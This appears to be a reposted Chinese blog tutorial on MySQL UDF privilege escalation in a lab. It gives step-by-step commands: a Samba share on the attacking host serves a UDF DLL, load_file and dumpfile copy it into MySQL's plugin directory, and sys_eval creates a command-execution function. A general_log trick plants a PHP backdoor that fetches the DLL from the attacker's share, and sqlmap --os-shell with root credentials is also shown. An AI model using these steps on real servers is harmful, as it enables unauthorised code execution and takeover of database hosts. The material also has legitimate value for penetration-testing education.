MySQL总结一 UDF提权

UDF提权

 

kali 中文件位置 /usr/share/metasploit-framework/data/exploits/mysql

 

首先先要破解得到靶机的数据库密码。使用kali连接后。查看一些必要的属性

 

查看插件路径 show variables like "%plugin%";

 

看到了插件目录了。我们来看看我们能通过什么方式将UDF插件放到这个目录中。

可以看到我们现在有两种选择。

  1. 使用dumpfile直接输出。简单暴力
  2. 使用查询日志记录来生成php文件。php文件再往那个目录中写入。

 

第一种方式:

思路:

我们先配置一下samba。让kali能够共享文件。把UDF文件复制到共享文件夹中。接着在靶机中使用load_file加载网络地址的udf文件,并dumpfile输出到那个目录中

 

操作:

mkdir /udf

chmod 777 -R /udf/

vi /etc/samba/smb.conf

 

文件最后加上

[udf]

path = /udf

available = yes

browseable = yes

public = yes

writable = yes

 

重启samba服务

service smbd restart

 

复制UDF文件到共享文件夹中。

我们在靶机中测试一下是否联通

 

我们在Mysql中执行语句

select load_file('\\\\192.168.27.130\\udf\\lib_mysqludf_sys_64.dll') into dumpfile “C:\\web\\mysql\\lib\\plugin\\udf.dll”

 

成功执行了。

接着我们来创建函数试一试。

create function sys_eval returns string soname ‘udf.dll’

发现它无法打开udf.dll这个文件。。。这是什么情况。。。难道这个文件是坏的?

思来想去,还查了百度。都不得其解。

后来突发奇想。是不是版本位数的问题?

赶紧在mysql控制台中输入命令

show variables like “%version%”;

醒目的Win32映入眼帘。原来真是位数错了。我当时传的是64位的。怪不得无法识别。

(所以查看好版本和环境很重要啊!

重新上传一个32位的即可。

接着创建函数。如果创建时显示No Database Select就use一个数据库即可

create function sys_eval returns string soname ‘udf2.dll’;

 

成功Get WebShell

接着我们将这些文件删除。以免影响后续实验。

第二种方式:

思路:

假设secure_file_priv关闭了。那么我们只能通过general_log来生成一个PHP文件。这个PHP文件代码就是往plugin目录写入udf提权文件。

注意:因为general_log生成的不全是查询语句。还有其他它自己生成的一些说明性文字。所以不适合直接输出到plugin中。

general_log文件样品:

 

set global general_log  = ‘on’

set global general_log_file = ‘C:\web\apache\htdocs\udf.php’

 

这个路径是我们访问网址时能访问到的路径。以便能成功执行我们的后门php

 

 

键入我们的select语句

select “<?php $a=fopen('\\\\192.168.27.130\udf\lib_mysqludf_sys_32.dll','r');file_put_contents('C:\web\mysql\lib\plugin\udf3.dll',fread($a,filesize('\\\\192.168.27.130\udf\lib_mysqludf_sys_32.dll'))); ?>”

展开来其实是这样。即先加载我们的共享文件夹里面的udf文件。然后再写入到plugin目录中。

浏览器访问

这些字符串只是生成的文件中自己产生的内容。不必在意。

产生的udf.php内容如下:

接着我们create function测试一下

成功Get WebShell

以上就是手工的方式进行UDF提权。其实还可以使用sqlmap这个脚本进行自动化提权

 

sqlmap:

sqlmap -d “mysql://root:[email protected]:3306/test” --os-shell

 

这里mysql://说明是使用mysql进行连接

root是用户名

123456即密码

192.168.27.131是地址

3306即端口

test就是数据库。要选一个数据库

--os-shell就是使用udf提权获取WebShell了

 

出现这个提问选择对应的位数即可

脚本跑好后会出现os-shell的提示符。就可以输入命令了。输完命令之后的提问是问是否要将回显结果显示出来。

 

如果有兴趣可以看看这个UDF文件的源码

https://github.com/sqlmapproject/udfhack

 

猜你喜欢

转载自blog.csdn.net/xiaopan233/article/details/88805901